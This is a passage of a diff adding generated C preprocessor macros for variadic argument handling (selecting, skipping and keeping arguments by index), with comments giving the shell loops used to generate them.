+#define M_RETI_ARG59(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, ...) _59
+#define M_RET_ARG59(...) M_RETI_ARG59(__VA_ARGS__,)
+
+#define M_RETI_ARG60(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, ...) _60
+#define M_RET_ARG60(...) M_RETI_ARG60(__VA_ARGS__,)
+
+#define M_RETI_ARG61(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, ...) _61
+#define M_RET_ARG61(...) M_RETI_ARG61(__VA_ARGS__,)
+
+#define M_RETI_ARG62(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, ...) _62
+#define M_RET_ARG62(...) M_RETI_ARG62(__VA_ARGS__,)
+
+#define M_RETI_ARG63(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, ...) _63
+#define M_RET_ARG63(...) M_RETI_ARG63(__VA_ARGS__,)
+
+#define M_RETI_ARG64(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, ...) _64
+#define M_RET_ARG64(...) M_RETI_ARG64(__VA_ARGS__,)
+
+#define M_RETI_ARG65(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, ...) _65
+#define M_RET_ARG65(...) M_RETI_ARG65(__VA_ARGS__,)
+
+#define M_RETI_ARG66(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, ...) _66
+#define M_RET_ARG66(...) M_RETI_ARG66(__VA_ARGS__,)
+
+#define M_RETI_ARG67(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, ...) _67
+#define M_RET_ARG67(...) M_RETI_ARG67(__VA_ARGS__,)
+
+#define M_RETI_ARG68(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, ...) _68
+#define M_RET_ARG68(...) M_RETI_ARG68(__VA_ARGS__,)
+
+#define M_RETI_ARG69(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, ...) _69
+#define M_RET_ARG69(...) M_RETI_ARG69(__VA_ARGS__,)
+
+#define M_RETI_ARG70(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, ...) _70
+#define M_RET_ARG70(...) M_RETI_ARG70(__VA_ARGS__,)
+
+#define M_RETI_ARG71(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, ...) _71
+#define M_RET_ARG71(...) M_RETI_ARG71(__VA_ARGS__,)
+
+#define M_RETI_ARG72(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, ...) _72
+#define M_RET_ARG72(...) M_RETI_ARG72(__VA_ARGS__,)
+
+#define M_RETI_ARG73(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, _73, ...) _73
+#define M_RET_ARG73(...) M_RETI_ARG73(__VA_ARGS__,)
+
+#define M_RETI_ARG74(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, _73, _74, ...) _74
+#define M_RET_ARG74(...) M_RETI_ARG74(__VA_ARGS__,)
+
+#define M_RETI_ARG75(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, _73, _74, _75, ...) _75
+#define M_RET_ARG75(...) M_RETI_ARG75(__VA_ARGS__,)
+
+#define M_RETI_ARG76(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, _73, _74, _75, _76, ...) _76
+#define M_RET_ARG76(...) M_RETI_ARG76(__VA_ARGS__,)
+
+
+/* Return the value of the "arglist" associated to the given index (zero based).
+   An "arglist" is a VA_ARGS between parenthesis.
+   EXAMPLE: M_GET_AT((f_0,f_1,f_2),1) returns f_1
+ */
+#define M_GET_AT(arglist, index)    M_RET_ARG(M_INC(index), M_GETI_AT_ID arglist)
+#define M_GETI_AT_ID(...)           __VA_ARGS__
+
+
+/* For a pair of argument (arg0, arg1), return either the first or the second.
+   NOTE: Needed in case where M_RET_ARG<n> cannot be used */
+#define M_PAIR_1(a,b) a
+#define M_PAIR_2(a,b) b
+
+/* Same for triple */
+#define M_TRIPLE_1(a,b,c) a
+#define M_TRIPLE_2(a,b,c) b
+#define M_TRIPLE_3(a,b,c) c
+
+/* Same for quad */
+#define M_QUAD_1(a,b,c,d) a
+#define M_QUAD_2(a,b,c,d) b
+#define M_QUAD_3(a,b,c,d) c
+#define M_QUAD_4(a,b,c,d) d
+
+/* Skip the Nth first arguments of a VA_ARGS
+   Generated by:
+   for i in $(seq 0 52) ; do printf "#define M_SKIPI_%d(" $i ; for j in $(seq 1 $i) ; do printf "_%d, " $j ; done ; printf "...) __VA_ARGS__\n"; done
+ */
+#define M_SKIP_ARGS(n, ...)   M_C(M_SKIPI_, n)(__VA_ARGS__)
+#define M_SKIPI_0(...) __VA_ARGS__
+#define M_SKIPI_1(_1, ...) __VA_ARGS__
+#define M_SKIPI_2(_1, _2, ...) __VA_ARGS__
+#define M_SKIPI_3(_1, _2, _3, ...) __VA_ARGS__
+#define M_SKIPI_4(_1, _2, _3, _4, ...) __VA_ARGS__
+#define M_SKIPI_5(_1, _2, _3, _4, _5, ...) __VA_ARGS__
+#define M_SKIPI_6(_1, _2, _3, _4, _5, _6, ...) __VA_ARGS__
+#define M_SKIPI_7(_1, _2, _3, _4, _5, _6, _7, ...) __VA_ARGS__
+#define M_SKIPI_8(_1, _2, _3, _4, _5, _6, _7, _8, ...) __VA_ARGS__
+#define M_SKIPI_9(_1, _2, _3, _4, _5, _6, _7, _8, _9, ...) __VA_ARGS__
+#define M_SKIPI_10(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, ...) __VA_ARGS__
+#define M_SKIPI_11(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, ...) __VA_ARGS__
+#define M_SKIPI_12(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, ...) __VA_ARGS__
+#define M_SKIPI_13(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, ...) __VA_ARGS__
+#define M_SKIPI_14(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, ...) __VA_ARGS__
+#define M_SKIPI_15(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, ...) __VA_ARGS__
+#define M_SKIPI_16(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, ...) __VA_ARGS__
+#define M_SKIPI_17(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, ...) __VA_ARGS__
+#define M_SKIPI_18(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, ...) __VA_ARGS__
+#define M_SKIPI_19(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, ...) __VA_ARGS__
+#define M_SKIPI_20(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, ...) __VA_ARGS__
+#define M_SKIPI_21(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, ...) __VA_ARGS__
+#define M_SKIPI_22(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, ...) __VA_ARGS__
+#define M_SKIPI_23(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, ...) __VA_ARGS__
+#define M_SKIPI_24(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, ...) __VA_ARGS__
+#define M_SKIPI_25(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, ...) __VA_ARGS__
+#define M_SKIPI_26(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, ...) __VA_ARGS__
+#define M_SKIPI_27(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, ...) __VA_ARGS__
+#define M_SKIPI_28(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, ...) __VA_ARGS__
+#define M_SKIPI_29(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, ...) __VA_ARGS__
+#define M_SKIPI_30(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, ...) __VA_ARGS__
+#define M_SKIPI_31(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, ...) __VA_ARGS__
+#define M_SKIPI_32(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, ...) __VA_ARGS__
+#define M_SKIPI_33(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, ...) __VA_ARGS__
+#define M_SKIPI_34(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, ...) __VA_ARGS__
+#define M_SKIPI_35(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, ...) __VA_ARGS__
+#define M_SKIPI_36(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, ...) __VA_ARGS__
+#define M_SKIPI_37(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, ...) __VA_ARGS__
+#define M_SKIPI_38(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, ...) __VA_ARGS__
+#define M_SKIPI_39(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, ...) __VA_ARGS__
+#define M_SKIPI_40(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, ...) __VA_ARGS__
+#define M_SKIPI_41(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, ...) __VA_ARGS__
+#define M_SKIPI_42(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, ...) __VA_ARGS__
+#define M_SKIPI_43(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, ...) __VA_ARGS__
+#define M_SKIPI_44(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, ...) __VA_ARGS__
+#define M_SKIPI_45(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, ...) __VA_ARGS__
+#define M_SKIPI_46(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, ...) __VA_ARGS__
+#define M_SKIPI_47(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, ...) __VA_ARGS__
+#define M_SKIPI_48(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, ...) __VA_ARGS__
+#define M_SKIPI_49(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, ...) __VA_ARGS__
+#define M_SKIPI_50(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, ...) __VA_ARGS__
+#define M_SKIPI_51(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, ...) __VA_ARGS__
+#define M_SKIPI_52(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, ...) __VA_ARGS__
+
+
+/* Keep the nth first arguments of a VA_ARGS
+   Generated by:
+   for i in $(seq 0 52) ; do printf "#define M_KEEPI_%d(" $i ; for j in $(seq 1 $i) ; do printf "_%d, " $j ; done ; printf "...) " ; for j in $(seq 1 $(($i - 1))) ; do printf "_%d, " $j; done ; if test "$i" -ne 0 ; then printf "_$i" ; fi ; printf "\n" ; done */
+#define M_KEEP_ARGS(n, ...)   M_C(M_KEEPI_, n)(__VA_ARGS__)
+#define M_KEEPI_0(...) 
+#define M_KEEPI_1(_1, ...) _1
+#define M_KEEPI_2(_1, _2, ...) _1, _2
+#define M_KEEPI_3(_1, _2, _3, ...) _1, _2, _3
+#define M_KEEPI_4(_1, _2, _3, _4, ...) _1, _2, _3, _4
+#define M_KEEPI_5(_1, _2, _3, _4, _5, ...) _1, _2, _3, _4, _5
+#define M_KEEPI_6(_1, _2, _3, _4, _5, _6, ...) _1, _2, _3, _4, _5, _6
+#define M_KEEPI_7(_1, _2, _3, _4, _5, _6, _7, ...) _1, _2, _3, _4, _5, _6, _7
+#define M_KEEPI_8(_1, _2, _3, _4, _5, _6, _7, _8, ...) _1, _2, _3, _4, _5, _6, _7, _8
+#define M_KEEPI_9(_1, _2, _3, _4, _5, _6, _7, _8, _9, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9
+#define M_KEEPI_10(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10
+#define M_KEEPI_11(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11
+#define M_KEEPI_12(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12
+#define M_KEEPI_13(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13
+#define M_KEEPI_14(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14
+#define M_KEEPI_15(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15
+#define M_KEEPI_16(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16
+#define M_KEEPI_17(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17
+#define M_KEEPI_18(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18
+#define M_KEEPI_19(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19
+#define M_KEEPI_20(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20
+#define M_KEEPI_21(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21
+#define M_KEEPI_22(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22
+#define M_KEEPI_23(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23
+#define M_KEEPI_24(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24
+#define M_KEEPI_25(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25
+#define M_KEEPI_26(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26
+#define M_KEEPI_27(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27
+#define M_KEEPI_28(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28
+#define M_KEEPI_29(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29
+#define M_KEEPI_30(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30
+#define M_KEEPI_31(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31
+#define M_KEEPI_32(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32
